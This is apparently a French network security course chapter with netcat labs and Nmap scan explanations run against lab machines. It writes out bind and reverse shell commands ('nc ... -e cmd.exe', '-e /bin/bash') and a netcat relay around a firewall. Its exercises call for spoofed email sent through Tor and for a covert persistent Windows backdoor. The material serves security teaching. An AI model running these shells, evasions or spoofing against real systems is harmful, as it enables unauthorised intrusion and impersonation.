	-n			numeric-only IP addresses, no DNS
	-o file		hex dump of traffic
	-p port		local port number
	-r			randomize local and remote ports
	-s addr		local source address
	-u			UDP mode
	-v			verbose [use twice to be more verbose]
	-w secs		timeout for connects and final net reads
	-z			zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]






Labs à réaliser



  	Topologies client :
    
      	Scan de ports et multi-ports

      	Trafic Legacy (HTTP, SMTP, …)

      	Torify du trafic netcat

    

  

  	Topologies client/serveur :
    
      	Charge TCP/UDP en ASCII (chat)

      	Transfert de fichier

      	Backdoor Shell

      	Reverse Backdoor Shell

      	Relay à travers un proxy filtrant

    

  




Consoles nécessaires



  	Ouvrez un bloc-note gdrive pour y collecter vos essais (à partager avec le prof).
Une machine (topologies client) dans un premier temps ou deux machines (topologies client/server).
    
      	Une console de commande pour Netcat (Linux ou Windows).

      	Une console de diagnostic (netstat ou ipconfig).

      	Wireshark ou tcpdump.

      	Sous Windows configurer le pare-feu finement.

    

  




6.2. Topologies client
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Scan de ports



nc -v -w 1 -z cisco.foo.bar 80
cisco.foo.bar [8.9.10.11] 80 (http) open
nc -vzw 1 cisco.foo.bar 22
cisco.foo.bar [8.9.10.11] 22 (ssh) open
nc -vzw 1 cisco.foo.bar 23
cisco.foo.bar [8.9.10.11] 23 (telnet) : Connection refused
nc -vzw 1 cisco.foo.bar 53
cisco.foo.bar [8.9.10.11] 53 (domain) : Connection refused
nc -vzw 1 cisco.foo.bar 8080
cisco.foo.bar [8.9.10.11] 8080 (http-alt) open
nc -vzw 1 cisco.foo.bar 25
cisco.foo.bar [8.9.10.11] 25 (smtp) : Connection refused
nc -vzw 1 relay.skynet.be 25
relay.skynet.be [195.238.5.128] 25 (smtp) open
nc -vzw 1 8.8.8.8 53
google-public-dns-a.google.com [8.8.8.8] 53 (domain) open






Scan Multi-ports



nc -vzw 1 cisco.foo.bar 1-255
cisco.foo.bar [8.9.10.11] 143 (imap) open
cisco.foo.bar [8.9.10.11] 111 (sunrpc) open
cisco.foo.bar [8.9.10.11] 110 (pop3) open
cisco.foo.bar [8.9.10.11] 80 (http) open
cisco.foo.bar [8.9.10.11] 22 (ssh) open






Que se passe-t-il avec l’option -r ?



nc -rvzw 1 cisco.foo.bar 1-255






Quelles sont les sessions TCP qui indiquent un port ouvert ou fermé ?


Ports ouverts / ports fermés


Quelles sont les sessions TCP qui indiquent un port ouvert ou fermé ?



nc -vzw 1 cisco.foo.bar 80-81 :
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Banner Gathering



nc -v cisco.foo.bar 22
cisco.foo.bar [8.9.10.11] 22 (ssh) open
SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze1







echo -e "HEAD / HTTP/1.0\n" | nc -v cisco.foo.bar 80
cisco.foo.bar [8.9.10.11] 80 (http) open
HTTP/1.1 400 Bad Request
Date: Sun, 12 Jan 2014 15:32:26 GMT
Server: Apache/2.2.16 (Debian)
Vary: Accept-Encoding
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
...






Script d’envoi SMTP



  	Basé sur : https://giantdorks.org/alain/smtp-test-message-via-shell-script-using-netcat-instead-of-telnet/





#!/bin/bash
# script to send test mail with netcat.
# expects the following arguments:
# 1. recepient mail server
# 2. port (typically 25 or 465)
# 3. mail from (e.g. from@example.com)
# 4. mail to (e.g. to@example.com)

# for mail_input function
from=$3
to=$4

# error handling
function err_exit { echo -e 1>&2; exit 1; }

# check if proper arguments are supplied
if [ $# -ne 4 ]; then
  echo -e "\n Usage error!"
  echo " This script requires four arguments:"
  echo " 1. recepient mail server"
  echo " 2. port (typically 25 or 465)"
  echo " 3. mail from (e.g. from@example.com)"
  echo " 4. mail to (e.g. to@example.com)"
  exit 1
fi

# create message
function mail_input {
#  echo "ehlo $(hostname -f)"
  echo "ehlo 10.10.10.10"
  echo "MAIL FROM: <$from>"
  echo "RCPT TO: <$to>"
  echo "DATA"
  echo "From: <$from>"
  echo "To: <$to>"
  echo "Subject: Testing one two three"
  echo "This is only a test. Please do not panic. If this works, then all is well, else all\
 is not well."
  echo "In closing, Lorem ipsum dolor sit amet, consectetur adipiscing elit."
  echo "."
  echo "quit"
}
# test
#mail_input

# send
mail_input | nc $1 $2 || err_exit







vi smtp-test.sh
chmod +x smtp-test.sh
./smtp-test.sh relay.skynet.be 25 zozo@zozo.be goffinet@goffinet.eu






220 relay.skynet.be ESMTP
250-relay.skynet.be
250-8BITMIME
250 SIZE 16777216
250 sender <zozo@zozo.be> ok
250 recipient <goffinet@goffinet.eu> ok
354 go ahead
250 ok:  Message 170208462 accepted
221 relay.skynet.be






  	relay.skynet.be 25 -> trafic SMTP autorisé par le FAI
Test à faire chez son propre FAI ou un relai SMTP ouvert.




Message reçu



Delivered-To: goffinet@goffinet.eu
Received: by 10.182.155.65 with SMTP id vu1csp53918obb;
        Sat, 11 Jan 2014 20:21:59 -0800 (PST)
X-Received: by 10.194.85.75 with SMTP id f11mr15767833wjz.47.1389500518905;
        Sat, 11 Jan 2014 20:21:58 -0800 (PST)
Return-Path: <zozo@zozo.be>
Received: from mailrelay005.isp.belgacom.be (mailrelay005.isp.belgacom.be. [195.238.6.171])
        by mx.google.com with ESMTP id bp4si6953453wjb.110.2014.01.11.20.21.58
        for <goffinet@goffinet.eu>;
        Sat, 11 Jan 2014 20:21:58 -0800 (PST)
Received-SPF: softfail (google.com: domain of transitioning zozo@zozo.be does not designate\
 195.238.6.171 as permitted sender) client-ip=195.238.6.171;
Authentication-Results: mx.google.com;
spf=softfail (google.com: domain of transitioning zozo@zozo.be does not designate 195.238.6\
.171 as permitted sender) smtp.mail=zozo@zozo.be
Message-Id: <073a06$ornfl8@relay.skynet.be>
Date: 12 Jan 2014 05:21:36 +0100
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AnGJADQY0lJtgd8C/2dsb2JhbABagwtwB4IvJ4J1okgBkg4BYxd0gkWBeiSIGw\
GaEpQypGSCZ4E6BKosg2k
Received: from 2.223-129-109.adsl-dyn.isp.belgacom.be (HELO 10.10.10.10) ([109.129.223.2])
  by relay.skynet.be with ESMTP; 12 Jan 2014 05:21:36 +0100
From: <zozo@zozo.be>
To: <goffinet@goffinet.eu>
Subject: Testing one two three

This is only a test. Please do not panic. If this works, then all is well, else all is not \
well.
In closing, Lorem ipsum dolor sit amet, consectetur adipiscing elit.






Connaître son adresse IP publique



nc -v checkip.eurodyndns.org 80
checkip.eurodyndns.org [80.92.65.89] 80 (http) open

GET https://checkip.eurodyndns.org/ HTTP/1.0\n

HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 15:46:47 GMT
Server: Apache
Content-Length: 160
Keep-Alive: timeout=15, max=189
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Current IP Check</title></head>
<body bgcolor=white text=black>
Current IP Address: 109.129.223.2
<br>Hostname: 109.129.223.2
</body></html>






Torify le trafic netcat


Tor permet de rendre anonymes tous les échanges Internet basés sur le protocole de communication TCP.



ncat --proxy 127.0.0.1:9050 --proxy-type socks4 checkip.eurodyndns.org 80
GET https://checkip.eurodyndns.org/ HTTP/1.0\n

HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 15:49:32 GMT
Server: Apache
Content-Length: 169
Keep-Alive: timeout=15, max=189
Connection: close
Content-Type: text/html; charset=UTF-8

<html><head><title>Current IP Check</title></head>
<body bgcolor=white text=black>
Current IP Address: 109.163.234.5
<br>Hostname: hessel3.torservers.net
</body></html>






6.3. Topologies client/serveur
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Sockets et sessions TCP maîtrisées


Vérifiez les sessions établies dans une seconde console
Ouverture d’un socket en mode listening du port 1337 (Serveur TCP 1337), dans la console :



nc -l -p 1337






Pour faire très simple, on ouvre le port 1337 sur notre machine en local et on tend l’oreille !


(Il vaut mieux autoriser le pare-feu)


Connexion du client au serveur



nc cisco.foo.bar 1337






Chat TCP1337
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Résultat :
https://www.cloudshark.org/captures/b648fa680eae


Client/Serveur UDP


Le paramètre -u monte des sessions UDP.


Illustrez ce cas dans un exemple.


Capturez ce trafic et comparez aux messages de chat en TCP.


Transfert de fichiers


Un fichier à transférer “file.txt” du serveur Alice au client Bob (download).


Serveur Alice



nc -l 4444 < file.txt






Client Bob



nc -n 192.168.1.100 4444 > file.txt






Un fichier à transférer “file.txt” du client Bob au serveur Alice (upload)


Serveur Alice



nc -l 4444 > file.txt






Client Bob



nc 192.168.1.100 4444 < file.txt






Chiffrement du trafic avec openssl


Serveur



nc -l 4444 | openssl enc -d -des3 -pass pass:password > file.txt






Client



openssl enc -des3 -pass pass:password | nc 192.168.1.100 4444






Backdoor


Pour exécuter une attaque Backdoor :


Sur la machine à joindre



nc –l –p 3333 –v –e cmd.exe






ou



nc -l -p 3333 -v -e /bin/bash -i






Sur la machine distante



nc 8.9.10.11 3333






Oui mais comment traverser un pare-feu ?


Reverse Backdoor




  
    [image: ]
    
  




Pour exécuter une attaque Backdoor :


Sur la machine à joindre



nc –l –p 3333






Sur la machine distante



nc 8.9.10.11 3333 -e cmd.exe






Configuration relay


Sometimes its useful to have little things like this available. But first, let me outline the scenario :



  	You want ssh connection with a system

  	The firewall is blocking inbound SSH connections




Assuming that you already have some sort of shell access on the target machine, This is your nice little work around:



$ mknod redirect p
$ nc -l -p [permitted_inbound_port] 0< redirect | nc 127.0.0.1 22 1> redirect






It works with two simply steps:



  	Creates a named pipe using the first command.

  	Creates a netcat listener that will redirect incoming connections to our pipe, which in turn uses the contents of our pipe as the input for an ssh connection to localhost on the target machine.

  	To connect, you simply connect to the machine using the appropriate login, yet with a different port:

 $ ssh [login]@[target] -p [port_of_netcat_listener]



  	Source : https://securityreliks.securegossip.com/2010/09/standard-netcat-relay/




6.4. Travail de laboratoire


Exercices



  	Mettre en oeuvre chaque attaque du document et rendre un travail qui reprend la réalisation de trois scripts :
Script qui scanne une plage d’adresses IP et de ports en guise de paramètres.

  	Script qui vérifie la présence de TOR et qui envoie un courriel usurpé en annonçant l’adresse IP publique anonyme, (l’adresse IP publique du FAI et l’adresse IP privée) de l’expéditeur.

  	Script de transfert de dossier compressé et crypté en openssl

  	Question de réflexion : comment installer un reverse backdoor shell Windows permanent à l’insu de l’administrateur ?




Document de laboratoire


Pour chaque attaque, un document (gdrive) qui vient remplir un cahier de laboratoires :
* Un diagramme (LucidChart) avec le nom des machines, adresses IP, ports, rôles, filtrage.
* Etat des sessions (netstat -a)
* Capture (Wireshark et Cloudshark)
* Console de commande netcat
* Console auxiliaire (TOR)
* Indiquer les paramètres de pare-feu


7. Utiliser Nmap


7.1. Etablissement de sessions TCP 3 Way Handshake



  	Machine à état TCP

  	Numéros de séquence et acquittement

  	Structure et comparaison des en-têtes

  	Drapeaux TCP

  	Numéros de ports : https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers

  	Analyse de trafic SYN, SYN/ACK, ACK : https://www.cloudshark.org/captures/26c43039ccd6

  	Analyse de trafic refusé par une pare-feu : https://www.cloudshark.org/captures/7c9253084c76




7.2. Machine à état TCP
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  Source de l’image



7.3. Numéros de séquence et acquittement
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  Source de l’image
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  Source de l’image
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  Source de l’image



7.4. Drapeaux TCP



  	SYN : demande d’établissement de session ou de synchronisation des numéros de séquence

  	ACK : confirme la transmission reçue et identifie le prochain numéro de séquence attendu (accusé de réception anticipatif)

  	PSH : demande de pousser (envoyer) les données en mémoire tampon

  	URG : données urgentes

  	FIN : plus de transmissions à réaliser

  	RST : remise à zéro d’une connexion




Un scan de ports TCP implique les champs drapeaux SYN, ACK et RST.


7.5. Scan de ports avec NMAP


Nmap (“Network Mapper”) est un outil open source d’exploration réseau et d’audit de sécurité. Il a été conçu pour rapidement scanner de grands réseaux, mais il fonctionne aussi très bien sur une cible unique.


Nmap est généralement utilisé pour les audits de sécurité mais de nombreux gestionnaires de systèmes et de réseaux l’apprécient pour des tâches de routine comme les inventaires de réseau, la gestion des mises à jour planifiées ou la surveillance des hôtes et des services actifs.


L’état d’un port est soit :



  	
ouvert (open) : indique que l’application de la machine cible est à l’écoute de paquets/connexions sur ce port.

  	
filtré (filtered) : indique qu’un pare-feu, un dispositif de filtrage ou un autre obstacle réseau bloque ce port, empêchant ainsi Nmap de déterminer s’il s’agit d’un port ouvert ou fermé.

  	
fermé (closed) : n’ont pas d’application en écoute, bien qu’ils puissent quand même s’ouvrir n’importe quand.

  	ou non-filtré (unfiltered) : les ports répondent aux paquets de tests (probes) de Nmap, mais Nmap ne peut déterminer s’ils sont ouverts ou fermés.




Nmap renvoie également les combinaisons d’états** ouverts|filtré** et fermés|filtré lorsqu’il n’arrive pas à déterminer dans lequel des deux états possibles se trouve le port.


7.6. Scan TCP Connect


C’est la commande -sT qui spécifie ce type de scan traditionnel. Voici des sorties sur un scan TCP Connect sur les ports biens connus d’une machine metaspoitable.


Plutôt que d’écrire des paquets bruts comme le font la plupart des autres types de scan, Nmap demande au système d’exploitation qui l’exécute d’établir une connexion sur le port de la machine cible grâce à l’appel système connect(). C’est le même appel système de haut-niveau qui est appelé par les navigateurs Web, les clients P2P et la plupart des applications réseaux qui veulent établir une connexion.



# nmap -sT -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:30 CET
Nmap scan report for 192.168.122.191
Host is up (0.0099s latency).
Not shown: 978 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 2.50 seconds






Capture sur le port TCP 21 avec tcpdump



# tcpdump tcp port 21 &
[1] 14109
# tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes






Scan sur le port TCP 21 avec nmap



# nmap -sT -p 21 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:32 CET
Nmap scan report for 192.168.122.191
Host is up (0.00028s latency).
PORT   STATE SERVICE
21/tcp open  ftp

Nmap done: 1 IP address (1 host up) scanned in 0.03 seconds






Résultat de la capture de Kali2-0C vers 192.168.122.191.ftp :



  	Echange SYN, SYN/ACK; ACK

  	Message RST/ACK





  SYN




# 20:32:36.128889 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [S], seq 2622041564, win 2\
9200, options [mss 1460,sackOK,TS val 4298823 ecr 0,nop,wscale 10], length 0







  SYN/ACK




20:32:36.129109 IP 192.168.122.191.ftp > Kali2-0C.49785: Flags [S.], seq 3495000159, ack 26\
22041565, win 5792, options [mss 1460,sackOK,TS val 156165 ecr 4298823,nop,wscale 6], lengt\
h 0







  ACK




20:32:36.129130 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [.], ack 1, win 29, options \
[nop,nop,TS val 4298823 ecr 156165], length 0







  RST/ACK




20:32:36.129155 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [R.], seq 1, ack 1, win 29, \
options [nop,nop,TS val 0 ecr 156165], length 0






7.7. Scan furtif TCP SYN


-sSfurtif Scan TCP SYN


Le scan SYN est celui par défaut et le plus populaire pour de bonnes raisons. Il peut être exécuté rapidement et scanner des milliers de ports par seconde sur un réseau rapide lorsqu’il n’est pas entravé par des pare-feux. Le scan SYN est relativement discret et furtif, vu qu’il ne termine jamais les connexions TCP. Il marche également contre toute pile respectant TCP, au lieu de dépendre des particularités environnementales spécifiques comme c’est le cas avec les scans Fin/Null/Xmas, Maimon ou Idle. En plus, il permet une différentiation fiable entre les états ouvert, fermé et filtré.


Cette technique est souvent appelée le scan demi-ouvert (half-open scanning), car il n’établit pas pleinement la connexion TCP. Il envoie un paquet SYN et attend sa réponse, comme s’il voulait vraiment ouvrir une connexion. Une réponse SYN/ACK indique que le port est en écoute (ouvert), tandis qu’une RST (reset) indique le contraire. Si aucune réponse n’est reçue après plusieurs essais, le port est considéré comme étant filtré. Le port est également considéré comme étant filtré si un message d’erreur « unreachable ICMP (type 3, code 1,2, 3, 9, 10 ou 13) » est reçu.


Exemple d’un port ouvert :



# nmap -sS -p 21 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:49 CET
Nmap scan report for 192.168.122.191
Host is up (0.00067s latency).
PORT   STATE SERVICE
21/tcp open  ftp
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds







# 20:49:50.664419 IP Kali2-0C.48258 > 192.168.122.191.ftp: Flags [S], seq 943880828, win 10\
24, options [mss 1460], length 0
20:49:50.664728 IP 192.168.122.191.ftp > Kali2-0C.48258: Flags [S.], seq 2525202399, ack 94\
3880829, win 5840, options [mss 1460], length 0
20:49:50.664751 IP Kali2-0C.48258 > 192.168.122.191.ftp: Flags [R], seq 943880829, win 0, l\
ength 0
20:49:50.764623 IP Kali2-0C.48259 > 192.168.122.191.ftp: Flags [S], seq 943946365, win 1024\
, options [mss 1460], length 0
20:49:50.764939 IP 192.168.122.191.ftp > Kali2-0C.48259: Flags [S.], seq 2529707968, ack 94\
3946366, win 5840, options [mss 1460], length 0
20:49:50.764961 IP Kali2-0C.48259 > 192.168.122.191.ftp: Flags [R], seq 943946366, win 0, l\
ength 0






Exemple d’un port fermé :



# tcpdump -v tcp port 88 &
[1] 20216
# tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes






# nmap -sS -p 88 -Pn 192.168.122.1

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:54 CET
Nmap scan report for 192.168.122.1
Host is up (0.00020s latency).
PORT   STATE  SERVICE
88/tcp closed kerberos-sec
MAC Address: FE:54:00:01:69:7C (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds







# 20:54:37.000511 IP (tos 0x0, ttl 37, id 14382, offset 0, flags [none], proto TCP (6), len\
gth 44)
    Kali2-0C.44374 > 192.168.122.1.kerberos: Flags [S], cksum 0x2cc2 (correct), seq 2292300\
697, win 1024, options [mss 1460], length 0
20:54:37.000625 IP (tos 0x0, ttl 64, id 33431, offset 0, flags [DF], proto TCP (6), length \
40)
    192.168.122.1.kerberos > Kali2-0C.44374: Flags [R.], cksum 0x486b (correct), seq 0, ack\
 2292300698, win 0, length 0
20:54:37.100696 IP (tos 0x0, ttl 43, id 1489, offset 0, flags [none], proto TCP (6), length\
 44)
    Kali2-0C.44375 > 192.168.122.1.kerberos: Flags [S], cksum 0x2cc3 (correct), seq 2292235\
160, win 1024, options [mss 1460], length 0
20:54:37.100901 IP (tos 0x0, ttl 64, id 33433, offset 0, flags [DF], proto TCP (6), length \
40)
    192.168.122.1.kerberos > Kali2-0C.44375: Flags [R.], cksum 0x486c (correct), seq 0, ack\
 2292235161, win 0, length 0






Scan d’une Windows 10 pro avec pare-feu et RDP activé



# nmap 192.168.122.208

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:08 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00061s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
5357/tcp open  wsdapi
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 18.20 seconds






Scan d’une machine Windows 8.1 sans pare-feu



# nmap 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:14 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.00046s latency).
Not shown: 991 filtered ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
554/tcp   open  rtsp
2869/tcp  open  icslap
3389/tcp  open  ms-wbt-server
5357/tcp  open  wsdapi
10243/tcp open  unknown
49155/tcp open  unknown
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 25.48 seconds






Scan d’un machine Windows XP familial



# nmap 192.168.122.228

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:18 CET
Nmap scan report for winxp-template (192.168.122.228)
Host is up (0.00031s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 52:54:00:5D:17:6F (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 21.98 seconds






7.8. Scans furtifs Scans TCP Null, FIN et Xmas


-sN; -sF; -sX (Scans TCP Null, FIN et Xmas)


Ces trois types de scans exploitent une subtile faille de la RFC TCP pour différencier les ports entre ouverts et fermés. La page 65 indique que “si le port [de destination] est dans l’état fermé… un segment ne contenant pas le drapeau RST provoque l’émission d’un paquet RST comme réponse.”. La page suivante indique que pour les paquets envoyés à des ports sans aucun des drapeaux SYN, RST ou ACK activés: “il est peut vraisemblable que cela arrive, mais si cela est le cas, il faut rejeter le segment.”


Pour les systèmes respectant ce texte de la RFC, soit uniquement des hôtes UNIX et certainement pas Windows, chaque paquet ne contenant ni SYN, ni RST, ni ACK se voit renvoyé un RST si le port est fermé et aucune réponse si le port est ouvert. Tant qu’aucun de ces drapeaux n’est utilisé, toute combinaison des trois autres (FIN, PSH et URG) son valides. Nmap exploite cela avec les trois types de scans:



  Scan Null (-sN)



N’active aucun des bits (les drapeaux de l’en-tête TCP vaut 0).



  Scan FIN (-sF)



N’active que le bit FIN.



  Scan Xmas (-sX)



Active les drapeaux FIN, PSH et URG, illuminant le paquet comme un arbre de Noël (NDT: la fracture cognitive entre la culture anglo-saxonne et française se ressent fortement dans cette traduction…).


Ces trois types de scan ont exactement le même comportement, sauf pour les drapeaux TCP utilisés dans des paquets de tests (probes packets). Si un RST est reçu, le port est considéré comme étant fermé, tandis qu’une absence de réponse signifiera qu’il est dans l’état ouvert|filtré. Le port est marqué comme   filtré si un message d’erreur ICMP « unreachable (type 3, code 1, 2, 3, 9, 10 ou 13) » est reçu.


L’avantage principal de ces types de scans est qu’ils peuvent furtivement traverser certains pare-feux ou routeurs filtrants sans état de connexion (non-statefull). Un autre avantage est qu’ils sont même un peu plus furtifs que le scan SYN. N’y comptez pas trop dessus cependant – la plupart des IDS modernes sont configurés pour les détecter. L’inconvénient majeur est que tous les systèmes ne respectent pas la RFC 793 à la lettre. Plusieurs systèmes renvoient des RST aux paquets quelque soit l’état du port de destination, qu’il soit ouvert ou pas. Ceci fait que tous les ports sont considérés commefermé. Les plus connus des systèmes qui ont ce comportement sont Microsoft Windows, plusieurs équipements Cisco, BSDI et IBM OS/400. Ce type de scan fonctionne cependant très bien contre la plupart des systèmes basés sur UNIX. Un autre désagrément de ce type de scan et qu’ils ne peuvent pas distinguer les ports ouvertsde certains autres qui sont filtrés, vous laissant face à un laconique ouvert|filtré.


Exemples :
```
# nmap -sF -p 88 -Pn 192.168.122.191


Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:35 CET
Nmap scan report for 192.168.122.191
Host is up (0.00028s latency).
PORT   STATE  SERVICE
88/tcp closed kerberos-sec
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)


Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
root@Kali2-0C:~# 21:35:18.504313 IP (tos 0x0, ttl 40, id 10670, offset 0, flags [none], proto TCP (6), length 40)
    Kali2-0C.58705 > 192.168.122.191.kerberos: Flags [F], cksum 0x3f33 (correct), seq 2577626922, win 1024, length 0
21:35:18.504489 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.122.191.kerberos > Kali2-0C.58705: Flags [R.], cksum 0x431f (correct), seq 0, ack 2577626923, win 0, length 0
21:35:18.604488 IP (tos 0x0, ttl 39, id 51250, offset 0, flags [none], proto TCP (6), length 40)
    Kali2-0C.58706 > 192.168.122.191.kerberos: Flags [F], cksum 0x3f32 (correct), seq 2577561387, win 1024, length 0
21:35:18.604675 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    192.168.122.191.kerberos > Kali2-0C.58706: Flags [R.], cksum 0x431e (correct), seq 0, ack 2577561388, win 0, length 0
```



# nmap -sF -p 80 -Pn 192.168.122.191

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:32 CET
Nmap scan report for 192.168.122.191
Host is up (0.0012s latency).
PORT   STATE         SERVICE
80/tcp open|filtered http
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
# 21:32:56.020304 IP (tos 0x0, ttl 39, id 17011, offset 0, flags [none], proto TCP (6), len\
gth 40)
    Kali2-0C.53120 > 192.168.122.191.http: Flags [F], cksum 0x4883 (correct), seq 282895685\
6, win 1024, length 0
21:32:56.120480 IP (tos 0x0, ttl 50, id 17448, offset 0, flags [none], proto TCP (6), lengt\
h 40)
    Kali2-0C.53121 > 192.168.122.191.http: Flags [F], cksum 0x4880 (correct), seq 282902239\
3, win 1024, length 0






7.9. Scan passif Idle Scan



  -sI <zombie host[:probeport]>



Un idle scan, dumb scan ou zombi scan est une méthode de balayage de port TCP qui, grâce à des utilitaires tels que Nmap et Hping, utilise l’envoi de paquets possédant une adresse IP usurpée.


Cet exploit complexe permet à la fois de balayer les ports d’une machine ainsi que de mettre en évidence les liaisons de confiance (s’appuyant sur les adresses IP) entre les machines. L’attaque consiste en l’envoi de paquets forgés vers une machine donnée – la cible – dans le but d’obtenir des informations à propos d’elle mais via une autre machine – le zombi.


Cette méthode de scan avancé permet de faire un véritable scan de port TCP en aveugle, (dans le sens où aucun paquet n’est envoyé directement à la cible depuis votre vraie adresse IP). En effet, la technique employée consiste à récolter des informations sur les ports ouverts de la cible en utilisant un exploit basé sur la prédictibilité de la génération des identifiants de fragmentation IP de l’hôte relais (le zombie). Les systèmes IDS considéreront que le scan provient de la machine zombie que vous avez spécifié (qui doit remplir certains critères).


L’idle scan exploite le fait que l’on peut, sous certaines conditions, prédire les numéros d’identification IP (IPID). L’attaquant doit d’abord rechercher une machine avec une séquence d’IPID prévisible. Par exemple, le numéro d’identification sera incrémenté de 1 à chaque fois. Les dernières versions de Linux, Solaris et OpenBSD ne sont pas des cibles appropriées puisque les algorithmes de génération d’IPID ont été corrigés. Les machines choisies pour être utilisées à ce niveau sont parfois appelées « zombis ». Une fois qu’une machine zombi a été trouvée, la première étape est de déterminer le numéro IPID actuel de la machine : en envoyant un pacquet SYN/ACK au zombi, le pirate recevra un paquet RST portant le numéro de séquence.


L’étape suivante consiste en l’envoi d’un paquet SYN à la machine cible, en usurpant l’adresse IP du zombi. Si le port de la machine cible est ouvert, celle-ci répondra au zombi avec un paquet SYN/ACK. Le zombi va donc envoyer un paquet RST à la cible car il n’est pas réellement l’émetteur du premier paquet SYN. Puisque la machine zombi a dû envoyer le paquet RST, elle incrémente son IPID. C’est ce qui permet à l’attaquant de découvrir si le port de la cible est ouvert. La dernière étape est donc la vérification de l’IPID, en envoyant à nouveau un paquet SYN/ACK au zombi.


Si l’IPID contenu dans le paquet RST reçu en réponse a été incrémenté deux fois, on est certain que le port cible est ouvert. En revanche si l’IPID n’est incrémenté qu’une fois, alors l’attaquant saura que ce port est fermé ou filtré.
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Exemple avec nmap une cible Windows 8.1 et un zombi Windows XP familial :



# nmap -PN -p135-139 -sI 192.168.122.228 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:03 CET
Idle scan using zombie 192.168.122.228 (192.168.122.228:80); Class: Incremental
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.023s latency).
PORT    STATE           SERVICE
135/tcp open            msrpc
136/tcp closed|filtered profile
137/tcp closed|filtered netbios-ns
138/tcp closed|filtered netbios-dgm
139/tcp open            netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds






7.10. Scan UDP



  -U



Même si les services les plus connus d’Internet son basés sur le protocole TCP, les services UDP sont aussi largement utilisés. DNS, SNMP ou DHCP (ports 53, 161/162 et 67/68) sont les trois exemples les plus courants. Comme le scan UDP est généralement plus lent et plus difficile que TCP, certains auditeurs de sécurité les ignorent. C’est une erreur, car les services UDP exploitables sont courants et les attaquants eux ne les ignoreront pas. Par chance, Nmap peut aider à répertorier les ports UDP.


Le scan UDP est activé avec l’option-sU. Il peut être combiné avec un scan TCP, comme le scan SYN (  -sS), pour vérifier les deux protocoles lors de la même exécution de Nmap.


Le scan UDP envoie un en-tête UDP (sans données) à chaque port visé. Si un message ICMP « port unreachable (type 3, code 3) » est renvoyé, le port est alors fermé. Les autres messages d’erreur « unreachable ICMP (type 3, codes 1, 2, 9, 10, or 13) » rendront le port filtré. À l’occasion, il arrive qu’un service répond par un paquet UDP, prouvant que le port est dans l’état ouvert. Si aucune réponse n’est renvoyée après plusieurs essais, le port est considéré comme étant ouvert|filtré. Cela signifie que le port peut être soit ouvert, soit qu’un dispositif de filtrage bloque les communications. Le scan de versions (  -sV) peut être utilisé pour différencier les ports ouverts de ceux filtrés.


